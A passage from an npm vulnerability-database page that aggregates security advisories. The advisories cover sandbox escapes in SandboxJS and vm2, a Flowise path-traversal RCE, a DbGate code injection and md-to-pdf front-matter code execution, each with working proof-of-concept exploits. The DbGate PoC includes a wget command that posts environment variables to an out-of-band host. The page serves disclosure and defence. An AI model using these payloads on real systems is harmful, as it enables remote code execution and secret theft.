Reference: [`src/utils.ts#L84-L88`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L84-L88)

```ts
export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
  for (const i in globals) {
    this[i] = globals[i];
  }
} as any as SandboxGlobalConstructor;
```

At runtime, global scope `this` is a `SandboxGlobal` instance (`functionThis`), so `this.constructor` resolves to `SandboxGlobal`. That constructor is reachable from sandbox code, and calls through `Function.prototype.call` are allowed by the generic call opcode path.

References:
- [`src/utils.ts#L118-L126`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L118-L126)
- [`src/executor.ts#L493-L518`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L493-L518)

```ts
const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),
```

```ts
const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);
```

This creates a privilege gap:
1. Direct global mutation is blocked in assignment logic.
2. A callable host function that performs arbitrary property writes is still reachable.
3. The call path does not enforce equivalent global-mutation restrictions.
4. Attacker-controlled code can choose the write target (`Math`, `JSON`, etc.) via `.call(target, payloadObject)`.

In practice, the payload:
```js
const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });
```
overwrites host `Math.random` successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.

### PoC
Install dependency:

```bash
npm i @nyariv/sandboxjs@0.8.35
```

#### Global write bypass with `pwned` marker

```js
#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;

try {
  try {
    run('Math.random = () => 1');
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { random: () => 'pwned' })`);
  console.log('With bypass (host Math.random()):', Math.random());
  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));
} finally {
  Math.random = original;
}
```

Expected output:

```
Without bypass (direct assignment): blocked -> Cannot assign property 'random' of a global object
With bypass (host Math.random()): pwned
With bypass (fresh sandbox Math.random()): pwned
```

`With bypass (host Math.random())` proves the sandbox changed host runtime state immediately.  
`With bypass (fresh sandbox Math.random())` proves the mutation persists across new sandbox instances, which shows cross-execution contamination.

#### Command `id` execution via host gadget

This second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX `id` command as a harmless execution marker.

```js
#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');

const run = (code) => new Sandbox().compile(code)().run();
const hadCmd = Object.prototype.hasOwnProperty.call(Math, 'cmd');
const originalCmd = Math.cmd;

try {
  try {
    run(`Math.cmd = 'id'`);
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { cmd: 'id' })`);
  console.log('With bypass (host command source Math.cmd):', Math.cmd);
  console.log(
    'With bypass + host gadget execSync(Math.cmd):',
    execSync(Math.cmd, { encoding: 'utf8' }).trim(),
  );
} finally {
  if (hadCmd) {
    Math.cmd = originalCmd;
  } else {
    delete Math.cmd;
  }
}
```

Expected output:

```
Without bypass (direct assignment): blocked -> Cannot assign property 'cmd' of a global object
With bypass (host command source Math.cmd): id
With bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...
```

### Impact
This is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.

### Summary
An attacker could write files with arbitrary content to the filesystem via the `/api/v1/document-store/loader/process` API.
An attacker can reach RCE(Remote Code Execution) via file writing.

### Details
All file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable.
- addBase64FilesToStorage
- addArrayFilesToStorage
- addSingleFileToStorage

The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.
```javascript
const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)
```
Therefore, users can move to the parent folder via `../` and write files to any path.

Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.

In PoC (Proof of Concept), RCE was reached by overwriting package.json.

### PoC
In PoC, `package.json` is overwritten.
This is a scenario in which arbitrary code is executed when `pnpm start` is executed by changing the start command in the `scripts{}` statement to an arbitrary value.

**- original start command**
````
"start": "run-script-os",
````

**- modify start command**
````
"start": "touch /tmp/pyozzi-poc && run-script-os",
````

When a user runs the `pnpm start` command, a `pyozzi-poc` file is created in the `/tmp` path.

#### 1. package.json content base64 encoding
```json
{
 "name": "flowise",
 "version": "1.8.2",
 "private": true,
 "homepage": "https://flowiseai.com",
 "workspaces": [
 "packages/*",
 "flowise",
 "ui",
 "components"
 ],
 "scripts": {
 "build": "turbo run build && echo poc",
 "build-force": "pnpm clean && turbo run build --force",
 "dev": "turbo run dev --parallel",
 "start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
 "start:windows": "cd packages/server/bin && run start",
 "start:default": "cd packages/server/bin && ./run start",
 "clean": "pnpm --filter \"./packages/**\" clean",
 "nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo",
 "format": "prettier --write \"**/*.{ts,tsx,md}\"",
 "lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"",
 "lint-fix": "pnpm lint --fix",
 "quick": "pretty-quick --staged",
 "postinstall": "husky install",
 "migration:create": "pnpm typeorm migration:create"
 }, ... skip
```

#### 2. Overwrite `package.json` via `/api/v1/document-store/loader/process`
<img width="1329" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500">

> **Request Body**
```json
{
 "loaderId": "textFile",
 "storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
 "loaderName": "Text File",
 "loaderConfig": {
 "txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json",
 "textSplitter": "",
 "metadata": "",
 "omitMetadataKeys": ""
 }
}
```
The part after `filename:` of the `txtFile` parameter is the value used as `fileName` in the function.
Add `../` to the filename value to move to the top path, then specify `package.json` in the project folder `/usr/src/` as the path.

<img width="663" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02">

Afterwards, when the user starts the server (`pnpm start`), the added script will be executed. (`touch /tmp/pyozzi-poc`)

**- starting server with `touch /tmp/pyozzi-poc` command**
<img width="737" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3">

**- `/tmp/pyozzi-poc` file created**
<img width="751" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087">


### Impact
**Remote Code Execution (RCE)**
Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.

### Summary
A sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction`

### Details

The library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups.

However, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () => {}).constructor`).

In `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor.

Constructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).

### PoC

```js
const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();

const payload = `
    const af = async () => {};
    // .constructor returns the host AsyncFunction constructor because it's not intercepted
    const AsyncConstructor = af.constructor;
    console.log("AsyncConstructor name:", AsyncConstructor.name);
    
    // Create a function that executes outside the sandbox
    const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()");
    
    // Execute RCE
    const p = func();
    p.then(proc => {
        console.log(proc);
    });
`;

try {
    s.compile(payload)().run();
} catch (e) {
    console.error("Bypass failed:", e.message);
}
```

Run above script in nodejs. If you run it in browser, change the `AsyncConstructor` argument by returning `window` object. 

### Impact

A Remote Code Execution, attacker may be able to run an arbitrary code.

### Summary
DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.

### Details
#### Step 1: User Input Entry Point

**File:** `packages/api/src/controllers/runners.js` - `start()` method

The `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == 'json'`, the request follows a different code path than raw shell scripts:

```javascript
async start({ script }, req) {
 if (script.type == 'json') {
 if (!platformInfo.isElectron) {
 if (!checkSecureDirectoriesInScript(script)) {
 return { errorMessage: 'Unallowed directories in script' };
 }
 }
 logJsonRunnerScript(req, script);
 const js = await jsonScriptToJavascript(script);
 return this.startCore(runid, scriptTemplate(js, false));
 }
```
This path skips:
1. The `run-shell-script` permission check
2. The `allowShellScripting` platform-level check

The only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values

---

#### Step 2: JSON-to-JavaScript Conversion (Injection Point)

**File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method

The JSON script's `commands` array contains objects with `type: "assign"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values:

```typescript
assignCore(variableName, functionName, props) {
 this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}
```

Both `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.

---

#### Step 3: Function Name Compilation

**File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()`

Before interpolation, `functionName` passes through this function:

```typescript
export function compileShellApiFunctionName(functionName) {
 const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
 if (nsMatch) {
 return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
 }
 return `dbgateApi.${functionName}`;
}
```

An attacker supplying `functionName: "x;MALICIOUS_CODE;//"` gets:
```
dbgateApi.x;MALICIOUS_CODE;//
```

This is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`.

---

#### Step 4: Generated JavaScript Template

The complete generated script that gets executed:

```javascript
const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
 const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});
 await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);
```

#### Step 5: Execution via child_process.fork()

**File:** `packages/api/src/controllers/runners.js` - `startCore()` method

The generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules.

The `require = null` sandbox can be bypassed via:
- `process.mainModule.require()` - separate reference unaffected by the null assignment
- `module.constructor._load()` - internal module loader, also unaffected
---

#### Additional Injection Points

The same unsanitised string interpolation pattern exists in:

| Endpoint | Parameter | File |
|----------|-----------|------|
| `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` |
| `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` |
| `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` |

### PoC
```http
POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json

{
 "script": {
 "type": "json",
 "commands": [
 {
 "type": "assign",
 "variableName": "x",
 "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//",
 "props": {}
 }
 ],
 "packageNames": []
 }
}
```

The request to the out of band host was as follows:

```http
POST / HTTP/1.1
Host: <out of band host>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251

NODE_VERSION=22.22.2
HOSTNAME=4714c7a7405f
YARN_VERSION=1.22.22
HOME=/root
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBGATE_API=/home/dbgate-docker/bundle.js
PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c
```

---

A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:

```bash
curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' <dbgate-instance>:3000/auth/login
```

### Impact

| Scenario | Impact | CVSS Score | CVSS Vector | 
|----------|--------|--------|--------|
| Anonymous auth mode (default deployment) (`authProvider: "Anonymous"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |

### Timeline

| Date | Event |
|------|-------|
| 2026-03-31 | Vulnerability discovered |
| 2026-04-07 | Advisory report prepared and submitted to maintainer |
| 2026-04-22 | Fix released (v7.1.9) |
| 2026-04-24 | Maintainer acknowledgment |
| 2026-05-20 | Public disclosure |

### Acknowledgements

- Discovery assisted by Neo from @ProjectDiscovery
- Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml

## Summary

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.

When `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.

## Root Cause

```javascript
// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
    throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
//   - Line 263: undefined === false → FALSE → check skipped
//   - Line 280: requireOpts = false → same as require:false
```

## Impact

Full Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:

1. `require('vm2')` to get the vm2 library
2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }`
3. Execute arbitrary OS commands via `child_process.execSync`

The inner VM is completely unconstrained by the outer sandbox configuration.

## Reproduction

```javascript
const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });

const result = nvm.run(`
  const { NodeVM } = require('vm2');
  const inner = new NodeVM({
    require: { builtin: ['child_process'] }
  });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'exploit.js'
  );
`, 'exploit.js');

console.log(result); // prints host uid/gid — full RCE
```

## Suggested Fix

```javascript
// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
    throw new VMError('...');
}
```

Or move the check after the destructuring default assignment:

```javascript
const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
    throw new VMError('...');
}
```

### Summary
A Markdown front-matter block that contains JavaScript delimiter causes the JS engine in gray-matter library to execute arbitrary code in the Markdown to PDF converter process of **md-to-pdf** library, resulting in remote code execution.

### Details
**md-to-pdf** uses the gray-matter library to parse front-matter. Gray-matter exposes a JavaScript engine that, when enabled or triggered by certain front-matter delimiters (e.g. ---js or ---javascript), will evaluate the front-matter contents as JavaScript. If user-supplied Markdown is fed to md-to-pdf and the front-matter contains malicious JS, the converter process will execute that code.


### PoC
```
const { mdToPdf } = require('md-to-pdf');

var payload = '---javascript\n((require("child_process")).execSync("calc.exe"))\n---RCE';

(async () => {
	await mdToPdf({ content: payload }, { dest: './output.pdf'});
})();
```
Running the PoC on Windows launches the calculator application, demonstrating arbitrary code execution.

### Impact

- Remote code execution in the process that performs Markdown->PDF conversion.
- If the converter is run in a web app or cloud service, an attacker uploading malicious Markdown can execute arbitrary commands on the

CVE ID↕	Published↕	CVSS↑
GHSA-7x3h-rm86-3342	Feb 5, 2026	Critical 10
GHSA-wrh9-cjv3-2hpw	Feb 22, 2023	Critical 10
GHSA-vrw4-w73r-6mm8	Aug 30, 2021	Critical 10
GHSA-c4qr-gmr9-v23w	Mar 3, 2021	Critical 10
GHSA-79xf-67r4-q2jj	Apr 11, 2023	Critical 10
GHSA-vh2g-6c4x-5hmp	Jul 25, 2023	Critical 10
GHSA-fv66-9v8q-g76r	Dec 3, 2025	Critical 10
GHSA-wpqr-6v78-jr5g	Apr 24, 2026	Critical 10
GHSA-7qm7-455j-5p63	Jan 14, 2026	Critical 10
GHSA-q5f4-99jv-pgg5	Apr 29, 2026	Critical 10
GHSA-2h87-4q2w-v4hf	Apr 19, 2023	Critical 10
GHSA-9jm3-5835-537m	Nov 1, 2018	Critical 10
GHSA-qcp4-v2jj-fjx8	May 7, 2026	Critical 10
GHSA-mrgp-mrhc-5jrq	Sep 28, 2022	Critical 10
GHSA-v6mx-mf47-r5wg	May 29, 2026	Critical 10
GHSA-rp36-8xq3-r6c4	May 29, 2026	Critical 10
GHSA-qrx8-25qr-5r7v	Jun 16, 2026	Critical 10
GHSA-w28w-gp39-m4p6	Jul 24, 2026	Critical 10
GHSA-4mxg-3p6v-xgq3	Jul 28, 2025	Critical 10
GHSA-ww6v-677g-p656	Jul 18, 2018	Critical 10
GHSA-w35p-wxwj-rcm9	Oct 13, 2023	Critical 10
GHSA-vp62-r36r-9xqp	Apr 21, 2026	Critical 10
GHSA-fmh4-wr37-44fp	Dec 3, 2025	Critical 10
GHSA-vwcg-c828-9822	Feb 5, 2026	Critical 10
GHSA-9qr9-h5gf-34mp	Dec 3, 2025	Critical 10
GHSA-9m93-w8w6-76hh	Jul 17, 2023	Critical 10
GHSA-2xp3-57p7-qf4v	May 1, 2024	Critical 10
GHSA-76w7-j9cq-rx2j	May 29, 2026	Critical 10
GHSA-2gg9-6p7w-6cpj	Apr 3, 2026	Critical 10
GHSA-8vvx-qvq9-5948	Mar 14, 2025	Critical 10
GHSA-wxhw-j4hc-fmq6	Jan 27, 2026	Critical 10
GHSA-8v3q-9vmx-36vc	Jun 5, 2026	Critical 10
GHSA-m4wx-m65x-ghrr	May 29, 2026	Critical 10
GHSA-547r-qmjm-8hvw	Nov 20, 2025	Critical 10

Know every vulnerability
before it knows you.

npm CVE Vulnerabilities — DevGuard Vulnerability Database

Know every vulnerabilitybefore it knows you.

npm CVE Vulnerabilities — DevGuard Vulnerability Database

Know every vulnerability
before it knows you.